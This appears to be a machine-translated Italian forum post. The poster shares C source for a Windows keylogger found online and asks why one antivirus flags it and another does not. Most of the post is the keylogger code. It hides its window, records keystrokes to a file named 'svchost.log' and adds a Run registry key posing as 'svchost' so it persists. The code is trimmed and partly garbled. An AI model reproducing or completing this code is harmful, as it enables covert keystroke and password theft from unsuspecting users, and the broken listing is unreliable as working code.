Ne ho trovato uno online, che volevo provare a casa mia e vedere se effettivamente funzionasse. E 'scritto in C, e non è molto grande a tutti considerando la metà di esso è solo un mucchio di casi per i quali si preme il tasto, es:
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
e fa anche un po 'con il registro, come
reg_key=RegOpenKeyEx (HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,KEY_QUERY_VALUE,&hKey);
Il mio Windows 7 del computer prenderanno questo come 'software potenzialmente dannoso', mentre il mio computer XP a scuola con Symantec Endpoint Protection non sarà .. Essendo un software aziendale, ho pensato che sarebbe Symantec raccoglierlo in un batter d'occhio, ma non l'ho fatto ..
Quindi la mia domanda è: cosa stabilisce questo programma come "software potenzialmente dannoso"? È la modifica / l'utilizzo del registro o qualche altro fattore che in genere viene catturato da un keylogger?
Nota: c'è di più nel programma, ma è piuttosto lungo, quindi ho modificato alcuni dei pezzi ripetitivi. Ecco la maggior parte dei keylogger, tuttavia, ma ho lasciato fuori un paio di affermazioni (if-else e switch) che praticamente ha scritto solo i dati in memoria.
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
int test,create;
test=test_key();/*check if key is available for opening*/
if (test==2)/*create key*/
{
char *path="c:\%windir%\svchost.exe";/*the path in which the file needs to be*/
create=create_key(path);
}
int t=get_keys();
return t;
}
int get_keys(void)
{
short character;
while(1)
{
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
A lot of switch statements left out for brevity
I left out a lot of if-elses as well, all they did was write the
data to the file.
}
return EXIT_SUCCESS;
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}